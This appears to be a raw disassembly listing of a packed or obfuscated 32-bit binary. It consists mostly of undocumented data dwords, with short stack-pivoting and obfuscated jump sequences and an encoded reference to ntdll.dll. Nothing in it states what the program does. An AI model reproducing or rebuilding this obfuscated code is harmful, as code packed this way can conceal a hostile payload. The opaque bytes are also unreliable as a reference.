		dd 0B9F963B1h, 53F09286h, 9C17334Ah, 922AE86Ch,	0DBD2FF7Ch
		dd 411873B7h, 4DD74944h, 716BE683h, 0AAA57AB8h,	8FBFF614h
		dd 64D7E70Bh, 349DAC09h, 321653F0h, 3446F5E0h, 0AF8E53F0h
		dd 930E3948h, 0BEEF108Fh, 92FE0A7Ah, 80D33B7Ah,	2A35951Eh
		dd 151868C3h, 0DAD7BC3Fh, 0D01EE230h, 2EC7EB7Bh, 0B39E9B56h
		dd 6AEE1E95h, 615F4AB4h, 640F731Ah, 858FB3D1h, 23EFAh
		dd 0D1F08F00h, 7A32EB2Eh, 50747E97h, 0EC56DC38h, 0F09285B9h
		dd 0D5A34253h, 6C6579A6h, 98EE49DCh, 28FCC7D5h,	49CDF143h
		dd 0C6F6B3DEh, 0CF0F1F55h, 3958E0A4h, 6A2324FBh, 81FC0D52h
		dd 47431A89h, 5AD83C4Ch, 0C6F58362h, 8CBFF86Bh,	755E4A3h
		dd 0B3D7C6F8h, 0A32C1F98h, 0A3A755E4h, 7FBE6451h, 0D3B74FC8h
		dd 541404Ch, 0CAD83063h, 0CA8h,	48CCBFCFh, 3BFFAEDFh, 20E4A1ACh
		dd 0E128987h, 0FB3F7291h, 0D7F65C70h, 0BCC956DAh, 0A6A23DC1h
		dd 86B827EBh, 1B661317h, 0EAF6AF9Ah, 25EF2455h,	706EFD8Bh
		dd 0AC0F90CBh, 20FFE39Ah, 0F4AB6924h, 30A3DBD2h, 0F4E958C5h
		dd 0E66A53F0h, 349982Ch, 0E19F7808h, 0A65C61BAh, 0F5D2536Ch
		dd 0E49DA26h, 2B86F10Ah, 0C928605Dh, 15547A8Dh,	55EAC126h
		dd 845BD9BDh, 9F080C89h, 72023974h, 646660DCh, 63B51129h
		dd 0AD7A04A3h, 70D4E49Fh, 4B7D02A2h, 21C03850h,	0BFB5205Bh
		dd 6F10B2B3h, 0B8A8890h, 4FC69163h, 6CDF58CBh, 0E75FDF99h
		dd 16519163h, 9699BDF8h, 62FE9394h, 0E9AE7CECh,	0Bh, 1E898D00h
		dd 0F36CB0EDh, 0CE59DDD8h, 0A641C5C0h, 0A526EAA7h, 890403B3h
		dd 0B0ED1A85h, 0DCD7F36Ch, 0CEBDCF58h, 53DC2F4Ah, 55EAF7E0h
		dd 8BECD063h, 1C063FFDh, 9260FD27h, 0B8D0CBFDh,	0A0DBA140h
		dd 0DC630F07h, 181C6049h, 0A0E7D8Fh, 730A6B7Ah,	231E5F56h
		dd 0A055E4C7h, 1083B8DCh, 0C7C978A5h, 3D4A55E4h, 0A76D910Ch
		dd 0CE70B436h, 22593D4Fh, 7C8E305Bh, 0F0D25BF3h, 0D4F8333Fh
		dd 0F83C20A4h, 1129646Fh, 49413C4Eh, 374430D1h,	0F22400F6h
		dd 0FD3A1145h, 41B2C74Eh, 128FBAC5h, 4D45CAEEh,	575CEB49h
		dd 0B3ED5E7h, 55750000h, 3849D65Ah, 2B26C145h, 0F3DAA6Eh
		dd 0F8179094h, 0D6FA8185h, 0E82C6160h, 0D75B527Fh, 0BD413C48h
		dd 0A96D2022h, 1307DCCh, 8255EAF4h, 65674F71h, 0CBC3BECDh
		dd 0AB132B4Fh, 901D2E5Ah, 49DC9142h, 0B8685C4h,	9195F909h
		dd 74B8F516h, 96A5E0EBh, 914FFA3Bh, 57C455E4h, 0E4917BD6h
		dd 7094F855h, 803CF6A2h, 90E01B61h, 4AF714DCh, 0A81B19DEh
		dd 0DC82BB0Fh, 3048CC49h, 0E4624EF1h, 4AA1AC55h, 0A97CE208h
		dd 77FC8Bh, 67380000h, 78073766h, 59265647h, 758702Bh
		dd 275E6C06h
		dd 6687FF03h, 76BCF912h, 0FF49DC69h, 93A6949Bh,	62DA6919h
		dd 0A8750h, 0E39EAE00h,	0E7F801Fh, 37729D0Ah, 5F5674F3h
		dd 403D4CDBh, 0AD153FBCh, 801FE39Eh, 99060A83h,	71EE326Dh
		dd 0BDD85C4Fh, 0F452E14Eh, 0A2D155EAh, 9F188B7Eh, 53F092ACh
		dd 3AD12327h, 2E5D6F09h, 0F675060Ah, 0C85AD8D5h, 58h, 37666766h
		dd 0B3D59407h, 7E8E0503h, 42C6F61Ah, 9FEDFCB0h,	4E1BC36Ch
		dd 70D449DCh, 1972CBAFh, 0B785F569h, 0A14h, 0AC702B5Bh
		dd 979B1233h, 7C80FD08h, 6AAEE5E3h, 4FD3CEFDh, 2B5AE8CCh
		dd 1835B276h, 20E999Dh,	0E2E48387h, 0B70A67ABh,	0EAF5DB76h
		dd 0F13B5855h, 6366567h, 27544779h, 7E8F2958h, 77D3EB0Fh
		dd 8E6101BDh, 88C56B67h, 46D18594h, 0DF000002h,	0F5A0FD8Bh
		dd 7E182789h, 0F551E04Dh, 6ED253F0h, 0A178EA4h,	225A5173h
		dd 89586CA6h, 70940938h, 0CA8DA5Bh, 0CAA149DCh,	0E4FDDE6Dh
		dd 0CDF15555h, 0A4AD3F7Ch, 9B6A604Ch, 3951DEEDh, 3AB07080h
		dd 900D3A41h, 6EDD1C78h, 0E5AC3089h, 0D54D7D61h, 0EA4B4034h
		dd 0B61F0055h, 33417ADEh, 0BC563675h, 1CAF65C2h, 0D6573B4Dh
		dd 5627797Bh, 0C66794F8h, 5627790Bh, 9C608488h,	858A0103h
		dd 6955B3ABh, 3DF7C535h, 74000009h, 4AD55954h, 27C04439h
		dd 32AD712Ch, 0A959914h, 0F98286FBh, 2D606FD7h,	54517EE9h
		dd 403B57D0h, 6A2123BCh, 3770CBA6h, 55EAFA04h, 67B0749Fh
		dd 9F073766h, 3FC0C14Eh, 9CC577E0h, 0F71B3FF4h,	0FA055BC4h
		dd 4ACE49DAh, 631E2A31h, 9A25EF6Bh, 81D8C6C3h, 72C10883h
		dd 0F155EBA4h, 3AA5698Dh, 78900Dh, 0C7609BE1h, 4FC7451Fh
		dd 7B97D0h, 9BF9C8EEh, 2549C712h, 433A5716h, 912320BFh
		dd 0E2193D70h, 1B336A9Bh, 926EB94Dh, 61855F54h,	3A4C1393h
		dd 9AECBC43h, 148462FEh, 89B06h, 0FFB2D200h, 0E29BAC3Bh
		dd 0B86811Eh, 336A9807h, 5C5170EFh, 0C97953D8h,	0A443C7BAh
		dd 0BD2AEEA7h, 95121691h, 99F43873h, 0FAB68522h, 86CD55EAh
		dd 3E156402h, 0E653F092h, 0C3F78EBh, 8753F092h,	83EA7183h
		dd 242524A7h, 3FF55169h, 0F9126687h, 0FF81DE6Bh, 0EBE00231h
		dd 0F0FBFF4Ah, 2107453h, 1A5E04A1h, 0A49749DCh,	0E418C87Bh
		dd 0A3C4B55h, 304B6F93h, 0E8B86C5h, 0E4187CCFh,	8193F755h
		dd 712C2726h, 4034D5ADh, 79D4EA4Bh, 25D4FCBh, 16728A07h
		dd 8082D9F2h, 6C9E090Dh, 7528EE31h, 60D86302h, 7F352h
		dd 970A3A00h, 0BAF31493h, 0A3DEE976h, 0CBC2C05Fh, 0F4A9D847h
		dd 3181AB30h, 0C9B9F12h, 0E58286FFh, 0FD6AAEE9h, 214CD0CBh
		dd 0FBEE5DDAh, 2E6555EAh, 0D2F48BEAh, 0E15C59DBh, 0C153F092h
		dd 3848CCBFh, 0FA8A3A9h, 49DC2C31h, 0A6A5D6BAh,	0BC2BEFAAh
		dd 76E51590h, 0DCAF9A1Bh, 202455E4h, 79270D2h, 0D4470000h
		dd 0E4DCF84Bh, 0E4177B55h, 0E4DC88BBh, 0D070B55h, 0E061800Bh
		dd 7784A8E5h, 0DC6CB436h, 21593D49h, 0E49FBD80h, 276B9D55h
		dd 0E49F4B86h, 2044C855h, 403B5728h, 48AF3048h,	6C900B39h
		dd 737F9671h, 8BA899ADh, 14BC9h, 6B67E700h, 49441B30h
		dd 75E6C64Ch, 92AE9D1Ah, 0DA2553F0h, 44CEF2AFh,	8037A97h
		dd 225A5571h, 0F506CA6h, 0E17E8EFDh, 0C391AAE5h, 8E134D3Ah
		dd 33E72D26h, 0F140ED58h, 7253F06Fh, 3B57040Eh,	3FD04840h
		dd 54C73249h, 0F06F78CBh, 6497FB53h, 0F06F083Bh, 8D878B53h
		dd 0F06EF900h, 0E6167A53h, 2C5BB261h, 0EAA16520h, 6F033E7Fh
		dd 0BC8053F0h, 0F2ADD976h, 6E9C5BDAh, 0D50453F0h, 0F11C63BEh
		dd 0CFFB84B4h, 0AD62B0D4h, 6922E6A1h, 6C82B1FEh, 3D0153F0h
		dd 5820BFF7h, 0C477B023h, 5F53F06Ch, 218E39FBh,	53F06C0Ah
		dd 0DE96A5A9h, 0AC7748DCh, 0DB97B3Bh, 0DAC0CF9Eh, 0F0FEEE5Dh
		dd 0FDE16553h, 14CB49CDh, 0ED7ABEF7h, 0CA95A5E0h, 52B5C5B8h
		dd 507D8CE3h, 3956D155h, 35D44C7Ch, 0C7EB3447h,	6849DCFFh
		dd 8A8720E4h, 6C83FB13h, 8F46E714h, 4355E4FEh, 80920B3Ch
		dd 6BEC1C60h, 2926658Ch, 123FA86Ch, 0FE10238Ch,	0AF9355E4h
		dd 68E0708Bh, 0F9ECDB05h, 0D54D79BBh, 7BD65734h, 0F855E440h
		dd 0DA5B7094h, 4FC8AF64h, 25269EDh, 0AB7C8249h,	2B67C38h
		dd 0E92D6865h, 4B862792h, 0C85FD873h, 0F2A9DB44h, 0E7B47EDAh
		dd 0A66CB0EBh, 0E01B6180h, 0DC910B47h, 3148BB49h, 0E1509914h
		dd 6255E491h, 334B98ECh, 74980C41h, 0B6C64ABEh,	89040645h
		dd 401F1571h, 273D4E3Fh, 0CD7604DDh, 0D8989A1Dh, 1864801Ah
		dd 92FE41E0h, 0F11C53F0h, 8C92589Ah, 412C8594h,	88000000h
		dd 0AC9F188Bh, 2753F092h, 93AD123h, 76C56494h, 0DE53F092h
		dd 0D8E9187Fh, 0E91861A5h, 3A53F074h, 0D9BF7301h, 7722368Ch
		dd 0FFBBA3BDh, 570FFFFh, 0F0CFA998h, 637A8853h,	0B0BD1159h
		dd 0B0BA78DCh, 0DED7F48Bh, 33E82AAEh, 88D89A11h, 5D43441Bh
		dd 0F09261D0h, 7A9EE253h, 0CA4CC642h, 5A186480h, 55700F7Ch
		dd 0E78354AAh, 0C6EA43BBh, 0D42CA0B6h, 2170C287h, 540DF73Dh
		dd 88948096h, 3300h, 6480AC00h,	2A8B5A18h, 53F0921Fh, 5808CD3h
		dd 0DD97FB0Fh, 2722FD8Bh, 30959117h, 67EFC1E2h,	4C043766h
		dd 3EC54E76h, 0D15BD928h, 242A604Ah, 40000000h,	49C0FD8Bh
		dd 0D9C68E69h, 0FB87635Bh, 41188B79h, 0C8C54F42h, 53F09279h
		dd 8B9A58B0h, 376667A1h, 67604ABDh, 0AA19316Ch,	140721DAh
		dd 0A0898EFh, 0F051B88Bh, 39749053h, 524F7E01h,	0AAC10E3Ah
		dd 79907F60h, 0BE423F4Ah, 0F0A0B9FFh, 0B3EE1953h, 411B3F9Bh
		dd 0FFFFF3D6h, 376667EFh, 67293F3h, 0DACA9AF5h,	0E63A71A0h
		dd 0D04637FDh, 4149DC8Fh, 0F5ECDFDh, 17738B02h,	0B3AD901Dh
		dd 804F55E4h, 0A9C36969h, 4C138BA8h, 3D4B433Ah,	160B5EAEh
		dd 0E3315558h, 700h, 12AAC00h, 40000000h, 0E01B6180h, 0DC64AB47h
		dd 5B4D1B49h, 0D0CBF9A8h, 0B7CA5CB8h, 9848FC5h,	0A37195F1h
		dd 0B4CBC347h, 65161A93h, 19A94CEFh, 1D17CBCCh,	0E431FB90h
		dd 3B3DF55h, 0C7F8F06h,	0E43190A3h, 0B2F1355h, 888423E7h
		dd 171BFD0Dh, 1F2C332Eh, 20F25666h, 0F915345Bh,	0DBED7ABEh
		dd 0CFF10EA0h, 31DF6ACBh, 0D3FF55E4h, 8760E4D8h, 9CF8108Bh
		dd 8DFEE678h, 19C43CF7h, 1E1443CDh, 0D9EB1A71h,	54416BA2h
		dd 86148086h, 0AA10h, 6F809C00h, 188B5B19h, 0F092AC9Fh
		dd 0D1232753h, 92F549D6h, 0DC3453F0h, 57A18B16h, 0F48B503Ch
		dd 8358DAD3h, 8B480A81h, 0AEDED7F4h, 0D7FBB6D1h, 804B615Dh
		dd 8B5A1864h, 0DF587AFDh, 7CB952F7h, 53F0EFCDh,	54DEC246h
		dd 9654569Ch, 889480h, 30h, 7E3B5615h, 6480B2B4h, 2A8B5A18h
		dd 53F0921Fh, 0FF818CD3h, 84B4D8D3h, 92F6F200h,	8BA18BC0h
		dd 5AD8D5F4h, 4B098485h, 222A604Ah, 40000000h, 5A186480h
		dd 921F2A8Bh, 7ADE53F0h, 67A18BF8h, 4ABD3766h, 88582D9h
		dd 7C8B94F0h, 878D0901h, 0FF4D2A9Dh, 6740FFFFh,	95063665h
		dd 0CD0EB9D6h, 0F8FDD8BFh, 0E8A82A6h, 0BD355704h, 9FFB138Eh
		dd 85C4B77Bh, 0AE060C87h, 9512295Fh, 49DCB0D9h,	9F1E2E12h
		dd 55E476A0h, 6E6C8342h, 8BA96CC0h, 0B6404F1Eh,	68EC1C99h
		dd 313DCE44h, 0FB000000h, 0E01B6180h, 0DC6CD747h, 14242849h
		dd 0E49CAA95h, 67B8A55h, 275A69F6h, 2A41B017h, 87C6C5E0h
		dd 7C03118Ch, 9B17C515h, 0BAA78BA8h, 0D000000h,	6366567h
		dd 27574A79h, 47772658h, 93970638h
		dd 0F097A7CAh, 0B6E5E753h, 0D8D3F572h, 0B4A938A0h, 0F096D86Bh
		dd 0D3F75B53h, 73B37FB8h, 0C7B449DCh, 0E4BBEB66h, 0C0E46855h
		dd 0D7A5443Ch, 153249A4h, 0E5E46098h, 55E4BB56h, 18AB69EDh
		dd 0E2B0DEADh, 0E4BBF645h, 0E5090D55h, 0E324AE2Fh, 0F95D4FCBh
		dd 118CBBC2h, 90E67E0Dh, 0BA372387h, 0D0FFAC66h, 45692426h
		dd 2BF06C2h, 1C2E9E63h,	230h, 0D0544747h, 0C3473657h, 0A86C2924h
		dd 969A113Fh, 8387FA09h, 5F6ED4F8h, 4441DE22h, 2E5AC549h
		dd 0E30AF73h, 83FE9B9Fh, 0EAFD1722h, 0BD67AC55h, 0F1356867h
		dd 0D5595476h, 1B61801Fh, 6CD747E0h, 242849DCh,	9CAA9514h
		dd 514855E4h, 92413903h, 0C64CE32Fh, 5A80D239h,	648BA940h
		dd 0ADh, 0CD6567B0h, 4CC8C0BBh,	404F1028h, 95FC3D4Dh, 3553F097h
		dd 0B949813h, 198A82F9h, 0C74D4042h, 516A1EEFh,	0DC731AD4h
		dd 31DC9449h, 6E3A18D0h, 600337Ch, 0BF8355E4h, 0E569999Bh
		dd 0F4806121h, 78CB54C7h, 0FB55E406h, 85229D97h, 4FCB6360h
		dd 2984B79Bh, 0DB8C725Bh, 0F12E957Fh, 2BAFDFD2h, 9E1332E9h
		dd 83FE0D9Ah, 25BCA7Ch,	24F66663h, 15Ch, 0F4387393h, 0DF235A6Bh
		dd 0C4484540h, 0B2762D5Bh, 979B1635h, 73922014h, 606DFA3Eh
		dd 4A46E125h, 2A5CCB4Fh, 7FC2AF73h, 0EAFD033Eh,	49738055h
		dd 0F1356867h, 0D5595476h, 0C465671Fh, 57672CC4h, 2D1C9999h
		dd 0A653F0E0h, 629ABEA2h, 6CB0EB1Dh, 9C75F514h,	0B41EAD2Bh
		dd 996A5C9h, 49DCFC51h,	0FE8DBE82h, 5CB8D0CDh, 21800ACAh
		dd 0A46E2E37h, 4B42441Bh, 772658C7h, 7A0EDF47h,	95083A41h
		dd 0B0ED1A65h, 0F825868Ch, 4FCEFC9Ch, 0C66EB195h, 7E62FE71h
		dd 0C23C0Eh, 0D9E90000h, 0C4C562A6h, 0AFDA45C9h, 93B12EF2h
		dd 7C8B1418h, 5A7EFD01h, 5CA0DDECh, 4BCFC6C3h, 31F5B0DCh
		dd 151994B6h, 95A40178h, 2E55EAE2h, 0FD8B23E5h,	7BCB806Eh
		dd 0DCD02207h, 0D14C7F0Dh, 0F2CBD983h, 64AE75C9h, 0DAA80B69h
		dd 14242849h, 4942394Bh, 999B1632h, 0A9DBA2D9h,	0B47EDAF2h
		dd 86B6E5E7h, 0A6642127h, 66DCA48h, 212DC5C7h, 0CEF25666h
		dd 56E542BDh, 46433E4Ah, 11754944h, 0B6C85703h,	9AA8B7C7h
		dd 7894EBE3h, 53720D3Dh, 0B582E5Eh, 8032E4Bh, 3A51FED0h
		dd 960CFF0h, 0A6D5C8FAh, 9E17344Bh, 50E3EA6Eh, 0D3433EB1h
		dd 72EDA56Fh, 0BE2D5D50h, 2AE8A3AFh, 338h, 0A68CB600h
		dd 4346767h, 3A52497Bh,	5E6E2925h, 71890401h, 0AAA2DFEEh
		dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 4EC811Fh
		dd 54000000h, 8324048Fh, 68042404h, 40F5h, 50243C89h, 405E089h
		dd 83000000h, 48704E8h,	1C895C24h, 0A8BE5624h, 8161DE76h
		dd 0F21C46CEh, 81DEF778h, 0F555BCCEh, 4AEE8111h, 8991DB7Eh
		dd 24348BF7h, 5404C483h, 83241C8Bh, 3D6804C4h, 89000064h
		dd 438F243Ch, 241C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		dd 0B8E42026h, 61A7175h, 0C650C503h, 14084985h,	25684706h
		dd 0FFCF3817h, 140C2DB5h, 4E858D06h, 0FF06143Bh, 8DD88BD0h
		dd 1420DD85h, 4685006h,	0FF000001h, 4985C6D3h, 53061408h
		dd 7F8BF68h, 2DB5FF83h,	8D06140Ch, 143B4E85h, 89D0FF06h
		dd 1A555785h, 0C9BD8306h, 6140Ch, 0B840Fh, 9D8B0000h, 6141221h
		dd 5E9h, 0BB00h, 680000h, 8D000001h, 1A555BB5h,	0FF535606h
		dd 14008195h, 5BB58D06h, 3061A55h, 1E9F0h, 804E0000h, 840F5C3Eh
		dd 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 555B858Dh,	0FF50061Ah
		dd 1A555795h, 0E0FF5806h, 6D2BAFE9h, 3EB43561h,	11FA62DEh
		dd 13A81003h, 74314B29h, 7EACBFABh, 48766933h, 6A4A689Ah
		dd 47C18F48h, 53328998h, 0FE8h,	17B91E00h, 0D0C351CAh
		dd 0D59A9E5Fh, 606FE1C6h, 860Fh, 81580000h, 7443C0h, 0BB00h
		dd 81660000h, 8B7ADBE2h, 0F181180Ch, 332664AAh,	0BEC8D681h
		dd 0F18130B3h, 0E91Eh, 0DF8B6660h, 0E98161F5h, 32957AA9h
		dd 48A0Fh, 0BF660000h, 0BF51D74Dh, 12D6D410h, 8018048Fh
		dd 0CE8148C2h, 7E5432F0h, 6E04EB81h, 0E9605C55h, 13h, 8C3E12D5h
		dd 831950B6h, 5A2F0AC3h, 89C24AF4h, 66D97DB1h, 0AA9DEE81h
		dd 0C38161h, 665C556Eh,	0FB81F78Bh, 0FFFF8C84h,	0D850Fh
		dd 8B660000h, 26E9FAh, 4F370000h, 0F533095h, 88Fh, 840F6000h
		dd 0
		dd 0FF69E961h, 2572FFFFh, 4B24910Ah, 5B52C88Bh,	0A4BCE2C3h
		dd 6E8h, 94940900h, 0E9326BF1h,	7, 0FDD3E278h, 591289C5h
		dd 0B890Fh, 6E90000h, 54000000h, 6931BC25h, 92C181D1h
		dd 0E9000074h, 8, 690892BEh, 306F312Ah,	0EA67DEBBh, 0DBEB811Eh
		dd 0B21EEA4Ah, 8B31FFFBh, 8B6658F9h, 0E3C081F8h, 0FC13DE19h
		dd 5D5FC081h, 6E90359h,	3F000000h, 10A967A5h, 0CBF0814Bh
		dd 505C7C3Dh, 895ED8B2h, 0FA8B5701h, 4E9835Eh, 0E3D3BA66h
		dd 1EB81h, 850F0000h, 0FFFFFFBDh, 0E9D08B66h, 2Fh, 414FB4A4h
		dd 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch,	1467006Ch
		dd 8003B2BDh, 0FEB9h, 3	dup(0)
		dd 0E9000000h, 6CEh, 1A759468h,	0C6EE906h, 4868FFFAh, 0E9061A76h
		dd 0FFFA0C64h, 1A771168h, 0C5AE906h, 0FE68FFFAh, 0E9061A77h
		dd 0FFFA0C50h, 1A78BC68h, 0C46E906h, 9D68FFFAh,	0E9061A79h
		dd 0FFFA0C3Ch, 44C8C3C3h, 2FF3AADBh, 141895B0h,	2067D8Bh
		dd 0E72B6665h, 0C3C27064h, 0B0DD4ACEh, 9AB631F5h, 7A8C1B1Fh
		dd 2F92FF03h, 0EAE6B38Eh, 0A0833055h, 3DF7AAD9h, 182A3Bh
		dd 67400000h, 79063665h, 89D05447h, 53F092B6h, 0AEE5E37Ah
		dd 0E09BB764h, 6180D61Ch, 7347E01Bh, 0C349DC60h, 8064D750h
		dd 9BFF55E4h, 0D6E56999h, 800F3A7Bh, 808455E4h,	4CF33272h
		dd 0AE55E480h, 0A2DBEC73h, 16648B50h, 8BA89EC8h, 23BD6h
		dd 5E1EC200h, 32AD5A3h,	965B4F3Fh, 0B3D9289Ch, 0E9EB1F98h
		dd 0F7C49DCh, 0E41893AEh, 1289BB55h, 47B6DABEh,	0D34014E6h
		dd 4709111h, 521CB6F7h,	0B195839Fh, 7EBF2A99h, 83A7D6C3h
		dd 7E36FC40h, 45E2196Fh, 99885FFCh, 8DF81377h, 2FA69512h
		dd 593D859Eh, 8B0204DBh, 0B7E61887h, 0BEFEC670h, 81A7298h
		dd 4D7h, 54D8D3F3h, 3FC3BACBh, 24E8A5A0h, 12168DBBh, 0F73B7695h
		dd 0D3F24074h, 0C0CD5ADEh, 0AAA641C5h, 8ABC2BEFh, 1F620F13h
		dd 0EAE7A39Eh, 29932055h, 6366567h, 0F532DF95h,	5E9AA9F6h
		dd 351953F0h, 7874D4E3h, 0E1335746h, 33483CCDh,	0DC3240F2h
		dd 7F8ED949h, 0F41A1E02h, 394F9E48h, 0BDC89702h, 374332C0h
		dd 0C84FC80Dh, 2CB4F544h, 0E9377EB7h, 7769718h,	5C6F93F7h
		dd 1A49E7D3h, 0E41478EDh, 0A2DBE877h, 0D0E42EAAh, 0F7304B31h
		dd 0E305214Eh, 0E8B86C1h, 45769AFEh, 634A9AEAh,	9D2E3A61h
		dd 0D7C6F897h, 0FBB2D453h, 3CB69434h, 0EEBC2CBEh, 423h
		dd 0A86C1F2Fh, 9B9F0E3Fh, 8084010Ch, 6EB2E9E7h,	5BDFD2F1h
		dd 3756FCD0h, 1C29B67Ah, 6029D61h, 0E618878Bh, 0BB0673B7h
		dd 0EAE4CF7Ah, 850F4455h, 6366567h, 2394F9Eh, 0E1404A72h
		dd 0DCEA7C46h, 3477BDA1h, 0DCC70BEBh, 0EF1C6349h, 0CA3504A1h
		dd 0CA4E55E4h, 0F82596A6h, 55E4CA49h, 0D02246CAh, 1868AC90h
		dd 2F8883C9h, 4FCE5FD0h, 0F447E05Bh, 0F5FDE5Eh,	95D4E70Bh
		dd 90033873h, 0DE5E2417h, 8CBFF85Fh, 75FDE5Eh, 5CCB4F03h
		dd 0FE5A722Bh, 0E1E37C34h, 0DB2A92AAh, 5ECE7DBAh, 0A5025FDEh
		dd 5FDE5E96h, 355292Dh,	0EE3ACA91h, 0C1B3F65h, 0F8B83FAh
		dd 0FF57D0EBh, 7045F2C9h, 60750B0Ch, 930B5CEBh,	35A81h
		dd 5B567600h, 463748D7h, 6F2A25C2h, 970E3CABh, 0B8F51493h
		dd 75DDF774h, 48D75B56h, 21BE423Bh, 39A66A25h, 0E5909407h
		dd 0E52A1986h, 6AA955EAh, 366567A6h, 394F9E06h,	6A71A502h
		dd 868A49DCh, 217B0982h, 0F34EEF96h, 7055E4EFh,	0C2F01A0Ch
		dd 0A079EB29h, 0F7000001h, 54B5631Eh, 788A2B20h, 0F149DC6Bh
		dd 80FFBC8Dh, 0CC5E2193h, 1E148FBDh, 1DC347A6h,	50844E1Ah
		dd 3B1C2AAFh, 3155F2F6h, 61B1FE0Dh, 0E2B28D44h,	0B5F26D9Eh
		dd 5295AA86h, 0CBFB391Dh, 0B5C6B253h, 7406035Ah, 0A4205855h
		dd 60C8880h, 0BA23AE97h, 2E5D2148h, 23C772B3h, 35C548Ch
		dd 0BF688C07h, 67E31B92h, 394B12ADh, 0E4178AB9h, 8C2388BBh
		dd 0E3070B54h, 86F16C1Fh, 8C232A19h, 0A4A5A954h, 548C2395h
		dd 33E82A2Eh, 9959A11h,	7B67B10Bh, 26D3103h, 69990000h
		dd 5475F236h, 3F4AD559h, 2321BE42h, 0C3BA468h, 2A0E8D91h
		dd 0EC306D9Ch, 0DB5F5673h, 0C145404Ch, 0A5692426h, 53471C8h
		dd 9E55EAE5h, 6567B375h, 0D6950636h, 4BCFFFBAh,	0C4F4B1DCh
		dd 0EBFAB240h, 0F11F6E9Dh, 0EE4F78BAh, 49DC7154h, 397492EDh
		dd 53EF1115h, 0FB106485h, 0C84848BAh, 8586C14Fh, 606FF008h
		dd 0EC1E092Dh, 193D99B1h, 0A7550320h, 3E2CEBAh,	89D94675h
		dd 0DD2D65Ah, 0DE54517Eh, 2E96A6AAh, 2792A9DFh,	18D74B51h
		dd 9062ED21h, 0C1A01C25h, 3865D0E8h, 0F4C6A609h, 748C868Ah
		dd 6264FB10h, 4678E72Bh, 433366A5h, 1034C065h, 0F6D08D0Fh
		dd 0A173EBC7h, 1AFh, 2CF0ABDBh,	171B92B3h, 0FC007D88h
		dd 0EA2E6563h, 0CF534E7Dh, 0ABDA684Ch, 98B532F6h, 828E191Dh
		dd 62640307h, 378AE72Bh, 0EAEA5BF6h, 71BBD855h,	5366567h
		dd 3F4F4A46h, 0F56D59DBh, 316C9B14h, 0D1B1FE0Dh, 5249DC91h
		dd 80E82AEEh, 47E01B61h, 49DA0732h, 0E98FBAC5h,	8981A5D8h
		dd 0ADDDD8F6h, 0EAE10529h, 0BFC17193h, 3458BCCCh, 514C7807h
		dd 0A357DD39h, 3D7091E8h, 8C2658F7h, 8E0A027Bh,	93E1526Ah
		dd 0AF911E34h, 883CF647h, 8DF81379h, 413C4B12h,	0EAE3C978h
		dd 0ABE6E155h, 34A173D7h, 4FC07731h, 0B6B5C64Ah, 8A151994h
		dd 8DF50578h, 80F3087Ch, 0C4771427h, 69ABAF5Fh,	0A609D15Eh
		dd 128D45E8h, 0B984A695h, 0C7593D41h, 35E6D54Dh, 40A07225h
		dd 0ACC33BFCh, 6DDD5CE4h, 0CE5Fh, 0D7CAFA00h, 0FAB3D453h
		dd 0E39EA936h, 0B82801Fh, 34699807h, 0F1416BF0h, 0CC5BDFD2h
		dd 0A542C6BFh, 0BD2AEEA9h, 610C108Bh, 0EBAE9D1Ah, 0EE2555EAh
		dd 9F188B2Ah, 53F092ACh, 1DE2AC85h, 0F9CD799Ah,	3E225F6Eh
		dd 0A021C0F4h, 0B1CAEE9Fh, 0DA26F574h, 0F20A0E49h, 0D5C8FA81h
		dd 8D2A21A5h, 55EA06BEh, 0CC35135h, 0E07F83FAh,	1E9FAFDEh
		dd 8C04365Ah, 3A49A00Fh, 16919508h, 0FE81B9F4h,	66232ED0h
		dd 6ECD4A42h, 25C6F807h, 0F91633AAh, 16088CBCh,	4287DFBh
		dd 36656700h, 3E0DAA05h, 0B51E80D6h, 516343D1h,	27h, 0D8FD8BDFh
		dd 4B287125h, 366F9C8Bh, 0E457C4FCh, 8D582E6Ch,	7A430A18h
		dd 53F0B1CFh, 0F02EC044h, 0DDD5324h, 67AC969Ch,	7B043467h
		dd 253A5249h, 15E6E29h,	0EE718904h, 0D5AAA2DFh,	0BCC3FBB6h
		dd 98E7178Eh, 4718306Dh, 1F275746h, 5E08950h, 4, 8704E883h
		dd 895C2404h, 8956240Ch, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 242C895Ch, 7C4F68h, 240C8900h, 0C776851h, 81591F12h
		dd 6D70ACE1h, 80F18129h, 510F1A74h, 91243481h, 5D6F7E38h
		dd 3891F581h, 54596F7Eh, 81240C8Bh, 4C4h, 4EC8100h, 89000000h
		dd 481242Ch, 624CAF24h,	8418F0Ah, 0AF086981h, 8B0A624Ch
		dd 8956240Ch, 4C681E6h,	81000000h, 4C6h, 24348700h, 2434FF5Ch
		dd 4C4835Dh, 0FA05B7E9h, 134455FFh, 8247F391h, 1BB3AC7Dh
		dd 90B88BA5h, 3061A7Ah,	0FCE0FFC5h, 0D2289422h,	0F55EDA7Fh
		dd 3A6FDD9Ah, 0E85667C2h, 7, 0CE6B4D2Dh, 0F24F55Ch, 815ACEB7h
		dd 6F69C2h, 0BE800h, 91120000h,	0A02B465Ch, 18D50C45h
		dd 0C28B6688h, 26DEBF5Eh, 0F7817AA5h, 7AA53D6Bh, 0FF17E880h
		dd 0C1B70F32h, 3EC1815Bh, 810477F5h, 0BB730BC3h, 7DEB815Ch
		dd 603F0D07h, 816625B6h, 61651FEBh, 2BBBC381h, 0B8666200h
		dd 1A89F047h, 0D66BE66h, 6A4BEA81h, 4B84CCDh, 812BD099h
		dd 0CD6A47C2h, 11E94Ch,	0E72D0000h, 0A14473EEh,	6C027214h
		dd 0D1D577E7h, 810DC266h, 1EFh,	9C850F00h, 0B0FFFFFFh
		dd 19E9F5h, 0C75E0000h,	47A3h, 4 dup(0)
		dd 0E9000000h, 4B9h, 1A7D0168h,	4C6E906h, 7168FFFAh, 0E9061A7Dh
		dd 0FFFA04BCh, 1A7EBE68h, 4B2E906h, 3949FFFAh, 2425C246h
		dd 0F3AA569h, 0F3118E92h, 0DCEB74B8h, 0FADE5DA1h, 0BC403D4Ch
